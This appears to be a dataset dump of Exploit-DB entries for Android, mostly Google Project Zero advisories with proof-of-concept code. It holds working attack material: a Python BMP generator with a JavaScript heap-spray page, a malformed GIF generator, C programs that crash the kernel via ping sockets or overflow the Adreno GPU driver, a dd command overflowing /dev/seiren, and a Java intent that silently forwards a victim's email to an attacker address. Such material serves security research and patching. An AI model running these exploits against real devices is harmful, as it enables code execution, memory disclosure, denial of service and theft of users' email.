deardaniel/secdata-raw huggingface dataset:
Exploit-DB #39685
Description: Google Android - IOMX 'getConfig'/'getParameter' Information Disclosure
Type: dos
Platform: android
Date: 2016-04-11
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=711

Android: Information Disclosure in IOMX getConfig/getParameter
Platform: Verified on google/razor/flo:6.0.1/MMB29O/2459718:user/release-keys
Class: Information Disclosure

Summary:
The GET_CONFIG and GET_PARAMETER calls on IOMX are vulnerable to an information disclosure of uninitialized heap memory. This could be used by an attacker to break ASLR in the media server process by reading out heap memory which contains useful address information.

Description:
The relevant code in frameworks/av/media/libmedia/IOMX.cpp is:

node_id node = (node_id)data.readInt32();
OMX_INDEXTYPE index = static_cast<OMX_INDEXTYPE>(data.readInt32());

size_t size = data.readInt64();

void *params = malloc(size);
data.read(params, size); <- Read in the buffer from the parcel to initialize


// SNIP - getParameter etc.

if ((code == GET_PARAMETER || code == GET_CONFIG) && err == OK) {
  reply->write(params, size); <- Write back entire buffer to caller
}

The vulnerability stems from the fact that Parcel::read(void* outData, size_t len) fails quickly if it doesn’t have sufficient data in the parcel to satisfy the request leaving the outData buffer untouched. As long as the call to getParameter or getConfig succeed then the entire, mostly uninitialized buffer will be returned. For example if the parameter is only 8 bytes in size but the caller passes a size field of 128 bytes (but doesn’t write those 128 bytes into the parcel) then the 120 bytes following in the heap will be returned uninitialized. 

Arguably there’s also a potential NULL pointer dereference here depending on the implementation as the call to malloc can fail with an arbitrary size value. But I think later functions handle the NULL case. 
I’d suggest that the result of data.read should be checked to ensure all the data has been read correctly.

Proof of Concept:
I’ve provided a PoC which exploits the issue and prints a 64 byte buffer (with 56 bytes uninitialized) to logcat. It uses the OMX.qcom.video.decoder.mpeg4 component. I’ve only tested this on a Nexus 5 and Nexus 7 devices, but I’m guessing that decoder should be everywhere. You should be able to create default Android Studio project and call OMXInfoDisclosurePoC.testOMX
from the Main Activity. When run you should see a line in logcat similar to:

E/MyClass: allocateNode Error: 0
E/MyClass: Allocate Node: 42
E/MyClass: Result:[PII_REDACTED]01000XXXXXXXXXX

Where XXXXXX should be uninitialized memory from the heap.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39685.zip
Exploit-DB #31308
Description: Google Android Web Browser - '.BMP' File Integer Overflow
Type: dos
Platform: android
Date: 2008-03-04
Author: Alfredo Ortega

Exploit:
source: https://www.securityfocus.com/bid/28006/info

Android Web Browser is prone to an integer-overflow vulnerability because it fails to adequately handle user-supplied data.

Attackers can exploit this issue to execute arbitrary code in the context of the application. Failed exploit attempts will likely cause denial-of-service conditions.

This issue affects Android SDK m5-rc14 and earlier. 

# This script generates a Bitmap file that makes the Android browser
jump to the address at 0xffffff+0x10
# Must be loaded inside a HTML file with a tag like this: <IMG
src=badbmp.bmp>
# Alfredo Ortega - Core Security
import struct

offset = 0xffef0000
width = 0x0bffff
height=8

bmp ="\x42\x4d\xff\x00\x00\x00\x00\x00\x00\x00"
bmp+=struct.pack("<I",offset)
bmp+="\x28\x00\x00\x00"
bmp+=struct.pack("<I",width)
bmp+=struct.pack("<I",height)
bmp+="\x03\x00\x08\x00\x00\x00"
bmp+="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
bmp+="\x00\x00\x00\x00\x00\x00\x00\x55\x02\xff\x00\x02\x00\x02\x02\xff"
bmp+="\xff\x11\xff\x33\xff\x55\xff\x66\xff\x77\xff\x88\x41\x41\x41\x41"
bmp+="\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
bmp+="\x41\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
bmp+="\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
open("badbmp.bmp","wb").write(bmp)

The complete exploit page follows:


<HTML>
<HEAD>
</HEAD>
<BODY>
<script type="text/javascript">
// Fill 0x200000 - 0xa00000 with Breakpoints
var nop = unescape("%u0001%uef9f");
while (nop.length <= 0x100000/2) nop += nop;
var i = 0;
for (i = 0;i<5;i++)
  document.write(nop)

// Fill 0xa00000 - 0x1100000 with address 0x00400040
var nop = unescape("%u4000%u4000");
while (nop.length <= 0x100000/2) nop += nop;
var i = 0;
for (i = 0;i<2;i++)
  document.write(nop)
</script>
<IMG src=badbmp.bmp>
</BODY>
</HTML>
Exploit-DB #31307
Description: Google Android Web Browser - '.GIF' File Heap Buffer Overflow
Type: dos
Platform: android
Date: 2008-03-04
Author: Alfredo Ortega

Exploit:
source: https://www.securityfocus.com/bid/28005/info

Android Web Browser is prone to a heap-based buffer-overflow vulnerability because it fails to adequately bounds-check user-supplied data before copying it to an insufficiently sized memory buffer.

Successfully exploiting this vulnerability can allow remote attackers to execute arbitrary machine code in the context of the application. Failed attempts will likely result in denial-of-service conditions.

This issue affects Android SDK m3-rc37a and earlier.

##Android Heap Overflow
##Ortega Alfredo _ Core Security Exploit Writers Team
##tested against Android SDK m3-rc37a

import Image
import struct

#Creates a _good_ gif image
imagename='overflow.gif'
str = '\x00\x00\x00\x00'*30000
im = Image.frombuffer('L',(len(str),1),str,'raw','L',0,1)
im.save(imagename,'GIF')

#Shrink the Logical screen dimension
SWidth=1
SHeight=1

img = open(imagename,'rb').read()
img = img[:6]+struct.pack('<HH',SWidth,SHeight)+img[10:]

#Save the _bad_ gif image
q=open(imagename,'wb=""')
q.write(img)
q.close()
Exploit-DB #41352
Description: LG G4 - lghashstorageserver Directory Traversal
Type: dos
Platform: android
Date: 2017-02-14
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=987

The lghashstorageserver binder service (/system/bin/lghashstorageserver) 
implementation on the LG G4 is vulnerable to path traversal, allowing an
app to read and write 0x20 bytes from any file in the context of the
lghashstorageserver.

See attached for a PoC which reads from /proc/self/attr/current for the 
lghashstorageserver.

[0] opening /dev/binder
[0] looking up service lghashstorage
0000: 00 . 01 . 00 . 00 . 1a . 00 . 00 . 00 . 61 a 00 . 6e n 00 . 64 d 00 . 72 r 00 .
0016: 6f o 00 . 69 i 00 . 64 d 00 . 2e . 00 . 6f o 00 . 73 s 00 . 2e . 00 . 49 I 00 .
0032: 53 S 00 . 65 e 00 . 72 r 00 . 76 v 00 . 69 i 00 . 63 c 00 . 65 e 00 . 4d M 00 .
0048: 61 a 00 . 6e n 00 . 61 a 00 . 67 g 00 . 65 e 00 . 72 r 00 . 00 . 00 . 00 . 00 .
0064: 0d . 00 . 00 . 00 . 6c l 00 . 67 g 00 . 68 h 00 . 61 a 00 . 73 s 00 . 68 h 00 .
0080: 73 s 00 . 74 t 00 . 6f o 00 . 72 r 00 . 61 a 00 . 67 g 00 . 65 e 00 . 00 . 00 .
BR_NOOP:
BR_TRANSACTION_COMPLETE:
BR_NOOP:
BR_REPLY:
  target [PII_REDACTED]  cookie [PII_REDACTED]  code 00000000  flags 00000000
  pid        0  uid     1000  data 24  offs 8
0000: 85 . 2a * 68 h 73 s 7f . 01 . 00 . 00 . 01 . 00 . 00 . 00 . 55 U 00 . 00 . 00 .
0016: 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
  - type 73682a85  flags 0000017f  ptr [PII_REDACTED]  cookie [PII_REDACTED]
[0] got handle 00000001
[0] reading hash
0000: 00 . 01 . 00 . 00 . 1b . 00 . 00 . 00 . 63 c 00 . 6f o 00 . 6d m 00 . 2e . 00 .
0016: 6c l 00 . 67 g 00 . 65 e 00 . 2e . 00 . 49 I 00 . 48 H 00 . 61 a 00 . 73 s 00 .
0032: 68 h 00 . 53 S 00 . 74 t 00 . 6f o 00 . 72 r 00 . 61 a 00 . 67 g 00 . 65 e 00 .
0048: 53 S 00 . 65 e 00 . 72 r 00 . 76 v 00 . 69 i 00 . 63 c 00 . 65 e 00 . 00 . 00 .
0064: 2e . 2e . 2f / 2e . 2e . 2f / 2e . 2e . 2f / 2e . 2e . 2f / 2e . 2e . 2f / 2e .
0080: 2e . 2f / 2e . 2e . 2f / 70 p 72 r 6f o 63 c 2f / 73 s 65 e 6c l 66 f 2f / 61 a
0096: 74 t 74 t 72 r 2f / 63 c 75 u 72 r 72 r 65 e 6e n 74 t 00 . 00 . 00 . 00 . 00 .
BR_NOOP:
BR_TRANSACTION_COMPLETE:
BR_NOOP:
BR_REPLY:
  target [PII_REDACTED]  cookie [PII_REDACTED]  code 00000000  flags 00000000
  pid        0  uid     1000  data 36  offs 0
0000: 75 u 3a : 72 r 3a : 6c l 67 g 68 h 61 a 73 s 68 h 73 s 74 t 6f o 72 r 61 a 67 g
0016: 65 e 73 s 65 e 72 r 76 v 65 e 72 r 3a : 73 s 30 0 00 . 00 . 00 . 00 . 00 . 00 .
0032: 00 . 00 . 00 . 00 .
u:r:lghashstorageserver:s0


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41352.zip
Exploit-DB #42171
Description: LG MRA58K - 'ASFParser::ParseHeaderExtensionObjects' Missing Bounds-Checking
Type: dos
Platform: android
Date: 2017-06-13
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1222

There is a memcpy in ASFParser::ParseHeaderExtensionObjects which doesn't check
that the size of the copy is smaller than the size of the source buffer, 
resulting in an out-of-bounds heap read.

The vulnerable code appears to be in handling the parsing of an extension object of
type ASF_Metadata_Object with a Description Record with an overly large length.

See attached for a crash poc. This issue probably allows leaking mediaserver 
memory from an app process on the device via the retrieved metadata.

Build fingerprint: 'lge/p1_global_com/p1:6.0/MRA58K/[PII_REDACTED]d45:user/release-keys'
Revision: '11'
ABI: 'arm'
pid: 10423, tid: 10533, name: Binder_2  >>> /system/bin/mediaserver <<<
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xf05c0000
    r0 ef5aff40  r1 f05bfff5  r2 00f5007f  r3 00000000
    r4 f050b280  r5 f0510000  r6 00ffffff  r7 00000000
    r8 000000b5  r9 00000034  sl 00000000  fp f05455a0
    ip f05e2e1c  sp f06f35c8  lr f05d8c9d  pc f71d77b4  cpsr 200b0010

backtrace:
    #00 pc 000177b4  /system/lib/libc.so (__memcpy_base+88)
    #01 pc 00003c99  /system/lib/liblg_parser_asf.so (_ZN9ASFParser27ParseHeaderExtensionObjectsEv+436)
    #02 pc 00006a87  /system/lib/liblg_parser_asf.so (_ZN9ASFParser6OpenExEP11IDataSourcei+50)
    #03 pc 00024a93  /system/lib/libLGParserOSAL.so (_ZN7android12ASFExtractorC1ERKNS_2spINS_10DataSourceEEERKNS1_INS_8AMessageEEE+270)
    #04 pc 00022aa9  /system/lib/libLGParserOSAL.so (_ZN7android15LGExtractorOSAL17CreateLGExtractorERKNS_2spINS_10DataSourceEEEPKcRKNS1_INS_8AMessageEEE+104)
    #05 pc 000c033b  /system/lib/libstagefright.so (_ZN7android14MediaExtractor6CreateERKNS_2spINS_10DataSourceEEEPKc+242)
    #06 pc 000d66db  /system/lib/libstagefright.so (_ZN7android28StagefrightMetadataRetriever13setDataSourceERKNS_2spINS_10DataSourceEEE+34)
    #07 pc 000591e3  /system/lib/libmediaplayerservice.so (_ZN7android23MetadataRetrieverClient13setDataSourceERKNS_2spINS_11IDataSourceEEE+82)
    #08 pc 0008e329  /system/lib/libmedia.so (_ZN7android24BnMediaMetadataRetriever10onTransactEjRKNS_6ParcelEPS1_j+468)
    #09 pc 00019931  /system/lib/libbinder.so (_ZN7android7BBinder8transactEjRKNS_6ParcelEPS1_j+60)
    #10 pc 0001eccb  /system/lib/libbinder.so (_ZN7android14IPCThreadState14executeCommandEi+550)
    #11 pc 0001ee35  /system/lib/libbinder.so (_ZN7android14IPCThreadState20getAndExecuteCommandEv+64)
    #12 pc 0001ee99  /system/lib/libbinder.so (_ZN7android14IPCThreadState14joinThreadPoolEb+48)
    #13 pc 00023909  /system/lib/libbinder.so
    #14 pc 000100d1  /system/lib/libutils.so (_ZN7android6Thread11_threadLoopEPv+112)
    #15 pc 0003f9ab  /system/lib/libc.so (_ZL15__pthread_startPv+30)
    #16 pc 0001a0c5  /system/lib/libc.so (__start_thread+6)


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42171.zip
Exploit-DB #42285
Description: LG MRA58K - 'ASFParser::SetMetaData' Stack Overflow
Type: dos
Platform: android
Date: 2017-06-30
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1226

There are three variants of the below crash, all of which stemming from an unbound copy into a fixed size stack buffer allocated in the function ASFParser::SetMetaData, used as an argument to each of the three calls to the function unicodeToUtf_8 without checking that the output length will be less than the size of the buffer. You can see in the crashdump that the argv array has been overwritten by junk unicode output, resulting in the corrupted binary path displayed in the output.

I believe that this issue is mitigated by compiling with stack cookies, so I'm not applying the 90 day deadline to this issue since I don't think it's exploitable except as a denial-of-service.

*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
Build fingerprint: 'lge/p1_global_com/p1:6.0/MRA58K/[PII_REDACTED]d45:user/release-keys'
Revision: '11'
ABI: 'arm'
pid: 435, tid: 435, name: mediaserver  >>> �ు둢吟ѷἃ舄㹂慮춎䇛㾾攞䎤➹뽉龂팆顯浃桡＞￿큾略혭拴畹㿺㬭똦৿➦쎪悸ꪰ뒇᭥릧㠙���褓悀䳘牀⛕鑆ࡢ���㹇䊌⾩ʘỬ操陊ꦑ䤮峇ᇱ빌屸쒫羮죾‘궈砜톢庋_䔗蛴ᰦ꿚肁࿗砘搒깷옮豩烙켯펤傁䅥툺帰Ŧ䥎ᢘ퐢옥ꤤࠨ᪗@���Ԃ깛Ȯ댁ૃ⒨待讍ꄌ鈤䄚戬㸵Ṣ䙌䠖咂徕琣༔ৰ씊塀⏆ð厔⁀呕！谀櫰ុì⪌跔띦䳊薵結စ䌷﷌���๑髇#쀇붭
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xff951000
    r0 ff951002  r1 f023b0ba  r2 0000100e  r3 ffffff8f
AM write failed: Broken pipe
    r4 00000792  r5 f023bfde  r6 f5f1c080  r7 efdfca69
    r8 f1282348  r9 ff94fc70  sl f1282348  fp 00000012
    ip 0000a3c6  sp ff94fc5c  lr efdf7457  pc efdf4a9a  cpsr 800f0030

backtrace:
    #00 pc 00003a9a  /system/lib/liblg_parser_asf.so (_Z14unicodeToUtf_8PhPti+85)
    #01 pc 00006453  /system/lib/liblg_parser_asf.so (_ZN9ASFParser11SetMetaDataEP15meta_descriptor+186)
    #02 pc 6b203432  <unknown>


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42285.zip
Exploit-DB #42135
Description: Linux Kernel - 'ping' Local Denial of Service
Type: dos
Platform: android
Date: 2017-06-07
Author: Daniel Jiang

Exploit:
// Source: https://raw.githubusercontent.com/danieljiang0415/android_kernel_crash_poc/master/panic.c

#include <stdio.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <stdlib.h>
static int sockfd = 0;
static struct sockaddr_in addr = {0};

void fuzz(void * param){
    while(1){
        addr.sin_family = 0;//rand()%42;
        printf("sin_family1 = %08lx\n", addr.sin_family);
        connect(sockfd, (struct sockaddr *)&addr, 16); 
    }
}
int main(int argc, char **argv)
{
    sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
    int thrd;
    pthread_create(&thrd, NULL, fuzz, NULL);
    while(1){
        addr.sin_family = 0x1a;//rand()%42;
        addr.sin_port = 0;
        addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
        connect(sockfd, (struct sockaddr *)&addr, 16);
        addr.sin_family = 0;
    }
    return 0;
}
Exploit-DB #39504
Description: Qualcomm Adreno GPU MSM Driver - perfcounter Query Heap Overflow
Type: dos
Platform: android
Date: 2016-02-26
Author: Google Security Research

Exploit:
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=734

The Adreno GPU driver for the MSM Linux kernel contains a heap
overflow in the IOCTL_KGSL_PERFCOUNTER_QUERY ioctl command. The bug
results from an incorrect conversion to a signed type when calculating
the minimum count value for the query option. This results in a
negative integer being used to calculate the size of a buffer, which
can result in an integer overflow and a small sized allocation on
32-bit systems:

int adreno_perfcounter_query_group(struct adreno_device *adreno_dev,
        unsigned int groupid, unsigned int __user *countables,
        unsigned int count, unsigned int *max_counters)
{
...
        if (countables == NULL || count == 0) {
                kgsl_mutex_unlock(&device->mutex, &device->mutex_owner);
                return 0;
        }

        t = min_t(int, group->reg_count, count);

        buf = kmalloc(t * sizeof(unsigned int), GFP_KERNEL);
        if (buf == NULL) {
                kgsl_mutex_unlock(&device->mutex, &device->mutex_owner);
                return -ENOMEM;
        }

        for (i = 0; i < t; i++)
                buf[i] = group->regs[i].countable;

Note that the "count" parameter is fully controlled. Setting count =
0x80000001 will result in min_t returning 0x80000001 for "t", and
kmalloc allocating a buffer of size 0x4. The loop will then overflow
"buf" because "t" is unsigned, i.e. a large positive value.

The bug was added in the following commit:

https://www.codeaurora.org/cgit/quic/la/kernel/msm/commit/drivers/gpu/msm/adreno.c?h=aosp-new/android-msm-angler-3.10-marshmallow-mr1&id=b3b5629aebe98d3eb5ec22e8321c3cd3fc70f59c

A proof-of-concept that triggers this issue (adreno_perfcnt_query.c)
is attached. On Android devices /dev/kgsl-3d0 is typically accessible
in an untrusted app domain, so if exploited this issue could be used
for local privilege escalation.

*/

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>

struct kgsl_perfcounter_query {
	unsigned int groupid;
	unsigned int *countables;
	unsigned int count;
	unsigned int max_counters;
	unsigned int __pad[2];
};

#define KGSL_IOC_TYPE 0x09
#define IOCTL_KGSL_PERFCOUNTER_QUERY _IOWR(KGSL_IOC_TYPE, 0x3A, struct kgsl_perfcounter_query)

int main(void) {
	int fd;
	struct kgsl_perfcounter_query data;
	unsigned int countables[16];

	fd = open("/dev/kgsl-3d0", O_RDWR);

	if (fd == -1) {
		perror("open");
		return -1;
	}

	memset(&data, 0, sizeof(struct kgsl_perfcounter_query));

	data.groupid = 1;
	data.countables = (unsigned int *) &countables;
	data.count = 0x80000001;

	ioctl(fd, IOCTL_KGSL_PERFCOUNTER_QUERY, &data);

	close(fd);

	return 0;
}
Exploit-DB #38555
Description: Samsung - 'm2m1shot' Kernel Driver Buffer Overflow
Type: dos
Platform: android
Date: 2015-10-28
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=493

The Samsung m2m1shot driver framework is used to provide hardware acceleration for certain media functions, such as JPEG decoding and scaling images. The driver endpoint (/dev/m2m1shot_jpeg) is accessible by the media server

The Samsung S6 Edge is a 64-bit device, so a compatibility layer is used to allow 32-bit processes to provide structures that are expected by the 64-bit driver. There is a stack buffer overflow in the compat ioctl for m2m1shot:

static long m2m1shot_compat_ioctl32(struct file *filp,
                                unsigned int cmd, unsigned long arg)
{
...
        switch (cmd) {
        case COMPAT_M2M1SHOT_IOC_PROCESS:
        {
                struct compat_m2m1shot data;
                struct m2m1shot_task task;
                int i, ret;

                memset(&task, 0, sizeof(task));

                if (copy_from_user(&data, compat_ptr(arg), sizeof(data))) {
                        dev_err(m21dev->dev,
                                "%s: Failed to read userdata\n", __func__);
                        return -EFAULT;
                }

                ...
                for (i = 0; i < data.buf_out.num_planes; i++) {
                        task.task.buf_out.plane[i].len =
                                                data.buf_out.plane[i].len;
                        ...
                }

In this code snippet, the data.buf_out.num_planes value is attacker-controlled "u8" value, and is not bounds checked. However, task.task.buf_out.plane array is fixed in size (three elements), so a buffer overflow can occur during the loop shown above.

Proof-of-concept code to trigger this issue (from a privileged shell) is attached (m2m1shot_compat.c).

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38555.zip
Exploit-DB #38556
Description: Samsung - 'seiren' Kernel Driver Buffer Overflow
Type: dos
Platform: android
Date: 2015-10-28
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=491

The Exynos Seiren Audio driver has a device endpoint (/dev/seiren) that is accessible by either the system user or the audio group (such as the mediaserver). It was found that the write() implementation for this driver contains a buffer overflow vulnerability that overflow a static global buffer:

static ssize_t esa_write(struct file *file, const char *buffer,
                                        size_t size, loff_t *pos)
{
        struct esa_rtd *rtd = file->private_data;
        unsigned char *ibuf;
…
        ibuf = rtd->ibuf0;
...
        /* receive stream data from user */
        if (copy_from_user(ibuf, buffer, size)) {
                esa_err("%s: failed to copy_from_user\n", __func__);
                goto err;
        }

Note that the user supplied buffer and size parameters are not adequately bounds checked. The destination buffer is fixed size, so memory corruption can occur. A simple proof-of-concept from a privileged shell can be used to trigger the issue (tested on a Samsung S6 Edge):

# dd if=/dev/zero of=/dev/seiren count=5000000
Exploit-DB #38558
Description: Samsung - SecEmailComposer QUICK_REPLY_BACKGROUND Permissions
Type: dos
Platform: android
Date: 2015-10-28
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=490

The SecEmailComposer/EmailComposer application used by the Samsung S6 Edge has an exported service action to do quick replies to emails. It was found that this action required no permissions to call, and could lead to an unprivileged application gaining access to email content.

Service Action: com.samsung.android.email.intent.action.QUICK_REPLY_BACKGROUND
Component: com.samsung.android.email.composer
Class Name: com.samsung.android.email.composer.service.QuickReplyService

The service takes a JSON encoded string with various additional parameters. We need to know two parameters, the email address of the local account and a message ID. We can guess a valid message ID (which just seems to be an incrementing number).

If we guess an invalid ID the service simply returns, but if we do get a valid ID the service seems to automatically create the reply email, attach an attacker supplied message as well as the contents of the original message and sends it to any email address you like. For example:

Intent intent = new Intent();
intent.setAction("com.samsung.android.email.intent.action.QUICK_REPLY_BACKGROUND");
intent.setClassName("com.samsung.android.email.composer",
       "com.samsung.android.email.composer.service.QuickReplyService");
intent.putExtra("data", "{'original-msg-id':1, " +
       "'account-id':'project.zero.victim@gmail.com', " +
       "'msg':'Hello World!'," +
       "'title':'Hello Title'," +
       "'toList':'project.zero.attacker@gmail.com'}");
ComponentName name = MainActivity.this.startService(intent);

No permissions are required to send this service intent. If successfully sent this will show up in a "sent email" notification and will be present user’s sent email folder.